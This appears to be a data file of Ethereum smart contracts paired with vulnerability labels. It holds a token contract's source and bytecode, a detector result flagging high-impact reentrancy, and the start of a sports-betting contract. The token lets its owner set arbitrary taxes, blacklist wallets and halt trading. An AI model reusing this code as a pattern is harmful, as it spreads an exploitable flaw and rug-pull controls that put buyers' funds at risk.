require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610551578063dd62ed3e14610571578063ea1644d5146105b7578063f2fde38b146105d757600080fd5b8063a2a957bb146104cc578063a9059cbb146104ec578063bfd792841461050c578063c3c8cd801461053c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b411461047f57806398a5c315146104ac57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195b565b6105f7565b005b34801561020a57600080fd5b50604080518082019091526006815265536f7068696560d01b60208201525b6040516102369190611a20565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a75565b610696565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50670de0b6b3a76400005b604051908152602001610236565b3480156102d857600080fd5b5061025f6102e7366004611aa1565b6106ad565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610236565b34801561032a57600080fd5b5060155461028f906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611ae2565b610716565b34801561036a57600080fd5b506101fc610379366004611b0f565b610761565b34801561038a57600080fd5b506101fc6107a9565b34801561039f57600080fd5b506102be6103ae366004611ae2565b6107f4565b3480156103bf57600080fd5b506101fc610816565b3480156103d457600080fd5b506101fc6103e3366004611b2a565b61088a565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611ae2565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028f565b34801561045557600080fd5b506101fc610464366004611b0f565b6108b9565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b506040805180820190915260048152632c22a7a760e11b6020820152610229565b3480156104b857600080fd5b506101fc6104c7366004611b2a565b610901565b3480156104d857600080fd5b506101fc6104e7366004611b43565b610930565b3480156104f857600080fd5b5061025f610507366004611a75565b61096e565b34801561051857600080fd5b5061025f610527366004611ae2565b60106020526000908152604090205460ff1681565b34801561054857600080fd5b506101fc61097b565b34801561055d57600080fd5b506101fc61056c366004611b75565b6109cf565b34801561057d57600080fd5b506102be61058c366004611bf9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c357600080fd5b506101fc6105d2366004611b2a565b610a70565b3480156105e357600080fd5b506101fc6105f2366004611ae2565b610a9f565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161062190611c32565b60405180910390fd5b60005b81518110156106925760016010600084848151811061064e5761064e611c67565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068a81611c93565b91505061062d565b5050565b60006106a3338484610b89565b5060015b92915050565b60006106ba848484610cad565b61070c843361070785604051806060016040528060288152602001611dad602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111e9565b610b89565b5060019392505050565b6000546001600160a01b031633146107405760405162461bcd60e51b815260040161062190611c32565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078b5760405162461bcd60e51b815260040161062190611c32565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107de57506013546001600160a01b0316336001600160a01b0316145b6107e757600080fd5b476107f181611223565b50565b6001600160a01b0381166000908152600260205260408120546106a79061125d565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161062190611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b45760405162461bcd60e51b815260040161062190611c32565b601655565b6000546001600160a01b031633146108e35760405162461bcd60e51b815260040161062190611c32565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092b5760405162461bcd60e51b815260040161062190611c32565b601855565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161062190611c32565b600893909355600a91909155600955600b55565b60006106a3338484610cad565b6012546001600160a01b0316336001600160a01b031614806109b057506013546001600160a01b0316336001600160a01b0316145b6109b957600080fd5b60006109c4306107f4565b90506107f1816112e1565b6000546001600160a01b031633146109f95760405162461bcd60e51b815260040161062190611c32565b60005b82811015610a6a578160056000868685818110610a1b57610a1b611c67565b9050602002016020810190610a309190611ae2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6281611c93565b9150506109fc565b50505050565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b815260040161062190611c32565b601755565b6000546001600160a01b03163314610ac95760405162461bcd60e51b815260040161062190611c32565b6001600160a01b038116610b2e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610621565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610beb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610621565b6001600160a01b038216610c4c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610621565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d115760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610621565b6001600160a01b038216610d735760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610621565b60008111610dd55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610621565b6000546001600160a01b03848116911614801590610e0157506000546001600160a01b03838116911614155b156110e257601554600160a01b900460ff16610e9a576000546001600160a01b03848116911614610e9a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610621565b601654811115610eec5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610621565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2e57506001600160a01b03821660009081526010602052604090205460ff16155b610f865760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610621565b6015546001600160a01b0383811691161461100b5760175481610fa8846107f4565b610fb29190611cae565b1061100b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610621565b6000611016306107f4565b60185460165491925082101590821061102f5760165491505b8080156110465750601554600160a81b900460ff16155b801561106057506015546001600160a01b03868116911614155b80156110755750601554600160b01b900460ff165b801561109a57506001600160a01b03851660009081526005602052604090205460ff16155b80156110bf57506001600160a01b03841660009081526005602052604090205460ff16155b156110df576110cd826112e1565b4780156110dd576110dd47611223565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112457506001600160a01b03831660009081526005602052604090205460ff165b8061115657506015546001600160a01b0385811691161480159061115657506015546001600160a01b03848116911614155b15611163575060006111dd565b6015546001600160a01b03858116911614801561118e57506014546001600160a01b03848116911614155b156111a057600854600c55600954600d555b6015546001600160a01b0384811691161480156111cb57506014546001600160a01b03858116911614155b156111dd57600a54600c55600b54600d555b610a6a8484848461146a565b6000818484111561120d5760405162461bcd60e51b81526004016106219190611a20565b50600061121a8486611cc6565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610692573d6000803e3d6000fd5b60006006548211156112c45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610621565b60006112ce611498565b90506112da83826114bb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132957611329611c67565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137d57600080fd5b505afa158015611391573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b59190611cdd565b816001815181106113c8576113c8611c67565b6001600160a01b0392831660209182029290920101526014546113ee9130911684610b89565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611427908590600090869030904290600401611cfa565b600060405180830381600087803b15801561144157600080fd5b505af1158015611455573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611477576114776114fd565b61148284848461152b565b80610a6a57610a6a600e54600c55600f54600d55565b60008060006114a5611622565b90925090506114b482826114bb565b9250505090565b60006112da83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611662565b600c5415801561150d5750600d54155b1561151457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153d87611690565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156f90876116ed565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159e908661172f565b6001600160a01b0389166000908152600260205260409020556115c08161178e565b6115ca84836117d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160f91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163d82826114bb565b82101561165957505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116835760405162461bcd60e51b81526004016106219190611a20565b50600061121a8486611d6b565b60008060008060008060008060006116ad8a600c54600d546117fc565b92509250925060006116bd611498565b905060008060006116d08e878787611851565b919e509c509a509598509396509194505050505091939550919395565b60006112da83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e9565b60008061173c8385611cae565b9050838110156112da5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610621565b6000611798611498565b905060006117a683836118a1565b306000908152600260205260409020549091506117c3908261172f565b30600090815260026020526040902055505050565b6006546117e590836116ed565b6006556007546117f5908261172f565b6007555050565b6000808080611816606461181089896118a1565b906114bb565b9050600061182960646118108a896118a1565b905060006118418261183b8b866116ed565b906116ed565b9992985090965090945050505050565b600080808061186088866118a1565b9050600061186e88876118a1565b9050600061187c88886118a1565b9050600061188e8261183b86866116ed565b939b939a50919850919650505050505050565b6000826118b0575060006106a7565b60006118bc8385611d8d565b9050826118c98583611d6b565b146112da5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610621565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f157600080fd5b803561195681611936565b919050565b6000602080838503121561196e57600080fd5b823567ffffffffffffffff8082111561198657600080fd5b818501915085601f83011261199a57600080fd5b8135818111156119ac576119ac611920565b8060051b604051601f19603f830116810181811085821117156119d1576119d1611920565b6040529182528482019250838101850191888311156119ef57600080fd5b938501935b82851015611a1457611a058561194b565b845293850193928501926119f4565b98975050505050505050565b600060208083528351808285015260005b81811015611a4d57858101830151858201604001528201611a31565b81811115611a5f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8857600080fd5b8235611a9381611936565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b8335611ac181611936565b92506020840135611ad181611936565b929592945050506040919091013590565b600060208284031215611af457600080fd5b81356112da81611936565b8035801515811461195657600080fd5b600060208284031215611b2157600080fd5b6112da82611aff565b600060208284031215611b3c57600080fd5b5035919050565b60008060008060808587031215611b5957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8a57600080fd5b833567ffffffffffffffff80821115611ba257600080fd5b818601915086601f830112611bb657600080fd5b813581811115611bc557600080fd5b8760208260051b8501011115611bda57600080fd5b602092830195509350611bf09186019050611aff565b90509250925092565b60008060408385031215611c0c57600080fd5b8235611c1781611936565b91506020830135611c2781611936565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca757611ca7611c7d565b5060010190565b60008219821115611cc157611cc1611c7d565b500190565b600082821015611cd857611cd8611c7d565b500390565b600060208284031215611cef57600080fd5b81516112da81611936565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4a5784516001600160a01b031683529383019391830191600101611d25565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da757611da7611c7d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e50306fa37d6b708c26eaa58b8a0ef018bb7c86d5e663f44f847efeedf58600e64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,940 |
0xf70e44e803e66c40890ac4875e5036fdb55b5e81 | pragma solidity ^0.4.18;
// zeppelin-solidity@1.8.0 from NPM
contract DataCenterInterface {
function getResult(bytes32 gameId) view public returns (uint16, uint16, uint8);
}
contract DataCenterAddrResolverInterface {
function getAddress() public returns (address _addr);
}
contract DataCenterBridge {
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 3;
string public networkName;
address public mainnetAddr = 0x6690E2698Bfa407DB697E69a11eA56810454549b;
address public testnetAddr = 0x282b192518fc09568de0E66Df8e2533f88C16672;
DataCenterAddrResolverInterface DAR;
DataCenterInterface dataCenter;
modifier dataCenterAPI() {
if((address(DAR) == 0) || (getCodeSize(address(DAR)) == 0))
setNetwork(networkID_auto);
if(address(dataCenter) != DAR.getAddress())
dataCenter = DataCenterInterface(DAR.getAddress());
_;
}
/**
* @dev set network will indicate which net will be used
* @notice comment out `networkID` to avoid 'unused parameter' warning
*/
function setNetwork(uint8 /*networkID*/) internal returns(bool){
return setNetwork();
}
function setNetwork() internal returns(bool){
if (getCodeSize(mainnetAddr) > 0) {
DAR = DataCenterAddrResolverInterface(mainnetAddr);
setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(testnetAddr) > 0) {
DAR = DataCenterAddrResolverInterface(testnetAddr);
setNetworkName("eth_ropsten");
return true;
}
return false;
}
function setNetworkName(string _networkName) internal {
networkName = _networkName;
}
function getNetworkName() internal view returns (string) {
return networkName;
}
function dataCenterGetResult(bytes32 _gameId) dataCenterAPI internal returns (uint16, uint16, uint8){
return dataCenter.getResult(_gameId);
}
function getCodeSize(address _addr) view internal returns (uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Bet is Ownable, DataCenterBridge {
using SafeMath for uint;
event LogDistributeReward(address indexed addr, uint reward, uint index);
event LogGameResult(bytes32 indexed category, bytes32 indexed gameId, uint leftPts, uint rightPts);
event LogParticipant(address indexed addr, uint choice, uint betAmount);
event LogRefund(address indexed addr, uint betAmount);
event LogBetClosed(bool isRefund, uint timestamp);
event LogDealerWithdraw(address indexed addr, uint withdrawAmount);
/**
* @desc
* gameId: is a fixed string just like "0021701030"
* the full gameId encode(include football, basketball, esports..) will publish on github
* leftOdds: need divide 100, if odds is 216 means 2.16
* middleOdds: need divide 100, if odds is 175 means 1.75
* rightOdds: need divide 100, if odds is 250 means 2.50
* spread: need sub 0.5, if spread is 1 means 0.5, 0 means no spread
* flag: indicate which team get spread, 1 means leftTeam, 3 means rightTeam
*/
struct BetInfo {
bytes32 category;
bytes32 gameId;
uint8 spread;
uint8 flag;
uint16 leftOdds;
uint16 middleOdds;
uint16 rightOdds;
uint minimumBet;
uint startTime;
uint deposit;
address dealer;
}
struct Player {
uint betAmount;
uint choice;
}
/**
* @desc
* winChoice: Indicate the winner choice of this betting
* 1 means leftTeam win, 3 means rightTeam win, 2 means draw(leftTeam is not always equivalent to the home team)
*/
uint8 public winChoice;
uint8 public confirmations = 0;
uint8 public neededConfirmations = 1;
uint16 public leftPts;
uint16 public rightPts;
bool public isBetClosed = false;
uint public totalBetAmount = 0;
uint public leftAmount;
uint public middleAmount;
uint public rightAmount;
uint public numberOfBet;
address [] public players;
mapping(address => Player) public playerInfo;
/**
* @dev Throws if called by any account other than the dealer
*/
modifier onlyDealer() {
require(msg.sender == betInfo.dealer);
_;
}
function() payable public {}
BetInfo betInfo;
function Bet(address _dealer, bytes32 _category, bytes32 _gameId, uint _minimumBet,
uint8 _spread, uint16 _leftOdds, uint16 _middleOdds, uint16 _rightOdds, uint8 _flag,
uint _startTime, uint8 _neededConfirmations, address _owner) payable public {
require(_flag == 1 || _flag == 3);
require(_startTime > now);
require(msg.value >= 0.1 ether);
require(_neededConfirmations >= neededConfirmations);
betInfo.dealer = _dealer;
betInfo.deposit = msg.value;
betInfo.flag = _flag;
betInfo.category = _category;
betInfo.gameId = _gameId;
betInfo.minimumBet = _minimumBet;
betInfo.spread = _spread;
betInfo.leftOdds = _leftOdds;
betInfo.middleOdds = _middleOdds;
betInfo.rightOdds = _rightOdds;
betInfo.startTime = _startTime;
neededConfirmations = _neededConfirmations;
owner = _owner;
}
/**
* @dev get basic information of this bet
*/
function getBetInfo() public view returns (bytes32, bytes32, uint8, uint8, uint16, uint16, uint16, uint, uint, uint, address) {
return (betInfo.category, betInfo.gameId, betInfo.spread, betInfo.flag, betInfo.leftOdds, betInfo.middleOdds,
betInfo.rightOdds, betInfo.minimumBet, betInfo.startTime, betInfo.deposit, betInfo.dealer);
}
/**
* @dev get basic information of this bet
*
* uint public numberOfBet;
* uint public totalBetAmount = 0;
* uint public leftAmount;
* uint public middleAmount;
* uint public rightAmount;
* uint public deposit;
*/
function getBetMutableData() public view returns (uint, uint, uint, uint, uint, uint) {
return (numberOfBet, totalBetAmount, leftAmount, middleAmount, rightAmount, betInfo.deposit);
}
/**
* @dev get bet result information
*
* uint8 public winChoice;
* uint8 public confirmations = 0;
* uint8 public neededConfirmations = 1;
* uint16 public leftPts;
* uint16 public rightPts;
* bool public isBetClosed = false;
*/
function getBetResult() public view returns (uint8, uint8, uint8, uint16, uint16, bool) {
return (winChoice, confirmations, neededConfirmations, leftPts, rightPts, isBetClosed);
}
/**
* @dev calculate the gas whichdistribute rewards will cost
* set default gasPrice is 5000000000
*/
function getRefundTxFee() public view returns (uint) {
return numberOfBet.mul(5000000000 * 21000);
}
/**
* @dev find a player has participanted or not
* @param player the address of the participant
*/
function checkPlayerExists(address player) public view returns (bool) {
if (playerInfo[player].choice == 0) {
return false;
}
return true;
}
/**
* @dev to check the dealer is solvent or not
* @param choice indicate which team user choose
* @param amount indicate how many ether user bet
*/
function isSolvent(uint choice, uint amount) internal view returns (bool) {
uint needAmount;
if (choice == 1) {
needAmount = (leftAmount.add(amount)).mul(betInfo.leftOdds).div(100);
} else if (choice == 2) {
needAmount = (middleAmount.add(amount)).mul(betInfo.middleOdds).div(100);
} else {
needAmount = (rightAmount.add(amount)).mul(betInfo.rightOdds).div(100);
}
if (needAmount.add(getRefundTxFee()) > totalBetAmount.add(amount).add(betInfo.deposit)) {
return false;
} else {
return true;
}
}
/**
* @dev update this bet some state
* @param choice indicate which team user choose
* @param amount indicate how many ether user bet
*/
function updateAmountOfEachChoice(uint choice, uint amount) internal {
if (choice == 1) {
leftAmount = leftAmount.add(amount);
} else if (choice == 2) {
middleAmount = middleAmount.add(amount);
} else {
rightAmount = rightAmount.add(amount);
}
}
/**
* @dev place a bet with his/her choice
* @param choice indicate which team user choose
*/
function placeBet(uint choice) public payable {
require(now < betInfo.startTime);
require(choice == 1 || choice == 2 || choice == 3);
require(msg.value >= betInfo.minimumBet);
require(!checkPlayerExists(msg.sender));
if (!isSolvent(choice, msg.value)) {
revert();
}
playerInfo[msg.sender].betAmount = msg.value;
playerInfo[msg.sender].choice = choice;
totalBetAmount = totalBetAmount.add(msg.value);
numberOfBet = numberOfBet.add(1);
updateAmountOfEachChoice(choice, msg.value);
players.push(msg.sender);
LogParticipant(msg.sender, choice, msg.value);
}
/**
* @dev in order to let more people participant, dealer can recharge
*/
function rechargeDeposit() public payable {
require(msg.value >= betInfo.minimumBet);
betInfo.deposit = betInfo.deposit.add(msg.value);
}
/**
* @dev given game result, _return win choice by specific spread
*/
function getWinChoice(uint _leftPts, uint _rightPts) public view returns (uint8) {
uint8 _winChoice;
if (betInfo.spread == 0) {
if (_leftPts > _rightPts) {
_winChoice = 1;
} else if (_leftPts == _rightPts) {
_winChoice = 2;
} else {
_winChoice = 3;
}
} else {
if (betInfo.flag == 1) {
if (_leftPts + betInfo.spread > _rightPts) {
_winChoice = 1;
} else {
_winChoice = 3;
}
} else {
if (_rightPts + betInfo.spread > _leftPts) {
_winChoice = 3;
} else {
_winChoice = 1;
}
}
}
return _winChoice;
}
/**
* @dev manualCloseBet could only be called by owner,
* this method only be used for ropsten,
* when ethereum-events-data deployed,
* game result should not be upload by owner
*/
function manualCloseBet(uint16 _leftPts, uint16 _rightPts) onlyOwner external {
require(!isBetClosed);
leftPts = _leftPts;
rightPts = _rightPts;
LogGameResult(betInfo.category, betInfo.gameId, leftPts, rightPts);
winChoice = getWinChoice(leftPts, rightPts);
if (winChoice == 1) {
distributeReward(betInfo.leftOdds);
} else if (winChoice == 2) {
distributeReward(betInfo.middleOdds);
} else {
distributeReward(betInfo.rightOdds);
}
isBetClosed = true;
LogBetClosed(false, now);
withdraw();
}
/**
* @dev closeBet could be called by everyone, but owner/dealer should to this.
*/
function closeBet() external {
require(!isBetClosed);
(leftPts, rightPts, confirmations) = dataCenterGetResult(betInfo.gameId);
require(confirmations >= neededConfirmations);
